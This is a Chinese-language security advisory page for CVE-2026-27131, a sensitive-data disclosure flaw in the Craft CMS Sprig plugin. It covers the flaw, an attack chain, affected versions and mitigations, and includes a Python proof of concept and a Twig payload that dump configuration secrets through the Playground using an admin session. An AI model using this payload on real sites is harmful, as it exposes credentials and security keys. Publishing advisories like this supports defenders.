IPBUF安全漏洞报告
English
CVE-2026-27131 CVSS 5.5 中危

CVE-2026-27131 Craft CMS Sprig插件敏感信息泄露漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-27131
漏洞类型
敏感信息泄露
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Craft CMS Sprig Plugin

相关标签

CVE-2026-27131敏感信息泄露Craft CMSSprig权限滥用Twig注入

漏洞概述

Craft CMS的Sprig插件是一个响应式Twig组件框架。在2.0.0至2.15.2之前及3.15.2之前的版本中,存在安全配置缺陷。拥有管理员权限或明确访问Sprig Playground权限的用户,可以利用该功能泄露安全密钥、凭据及其他敏感配置数据,并运行`hashData()`签名函数。该漏洞在高权限用户被攻陷或滥用权限时可能导致严重后果,建议尽快升级修复。

技术细节

该漏洞的核心问题在于Sprig Playground功能的访问控制机制不够完善。Sprig Playground允许开发者在Web界面中测试Twig组件。在受影响的版本中,即使`devMode`(开发模式)处于关闭状态,拥有管理员权限或特定权限的用户仍然可以访问Playground。由于Twig模板引擎在CMS环境中具有较高的权限,攻击者可以通过Playground执行恶意构造的Twig代码,访问全局配置对象(如`craft.app.config`),从而读取数据库密码、API密钥等敏感信息。此外,还可以调用`hashData()`等内部函数,这对系统的完整性和机密性构成了威胁。CVSS向量中的PR:H表明利用该漏洞需要高权限,因此通常作为权限提升或内部威胁的一部分存在。

攻击链分析

STEP 1
1. 权限获取
攻击者通过钓鱼、弱口令破解或其他漏洞获取Craft CMS的管理员账户,或获得访问Sprig Playground的特定权限。
STEP 2
2. 访问Playground
攻击者登录后台,导航至Sprig Playground界面,该界面本应在生产环境(devMode关闭)下受限,但在受影响版本中仍可访问。
STEP 3
3. 执行恶意Twig
攻击者在Playground中输入恶意的Twig代码(如`{{ craft.app.config.general | json_encode }}`),试图读取内部配置对象。
STEP 4
4. 数据泄露
服务器端解析并执行Twig代码,返回包含安全密钥、数据库凭据等敏感信息的响应,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (Conceptual) # This script simulates an authenticated admin accessing the Sprig Playground # to dump sensitive configuration data using Twig syntax. import requests def exploit_sprig_playground(target, session_cookie): # The endpoint might vary based on configuration, usually under /admin or specific plugin routes url = f"{target}/admin/sprig/playground/validate" # Headers mimicking a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload designed to access Craft CMS configuration # Accessing craft.app.config.general reveals DB settings, security keys, etc. payload_data = { "template": "{{ craft.app.config.general | json_encode }}", "params": "{}" } try: response = requests.post(url, headers=headers, cookies=session_cookie, data=payload_data) if response.status_code == 200: print("[+] Successfully accessed Sprig Playground.") print("[+] Sensitive Configuration Data:") print(response.text) else: print(f"[-] Failed to exploit. Status Code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage target = "http://craft-cms-site.com" # Requires a valid authenticated admin session cookie session = {"PHPSESSID": "valid_admin_session_id_here"} exploit_sprig_playground(target, session)

影响范围

putyourlightson/craft-sprig >= 2.0.0, < 2.15.2
putyourlightson/craft-sprig >= 3.0.0, < 3.15.2

防御指南

临时缓解措施
如果无法立即升级插件,管理员应确保`devMode`处于禁用状态,并检查用户权限配置,确保没有未经授权的用户拥有访问Sprig Playground的权限。此外,可以通过Web应用防火墙(WAF)规则拦截对`/sprig/playground`相关路径的非授权访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表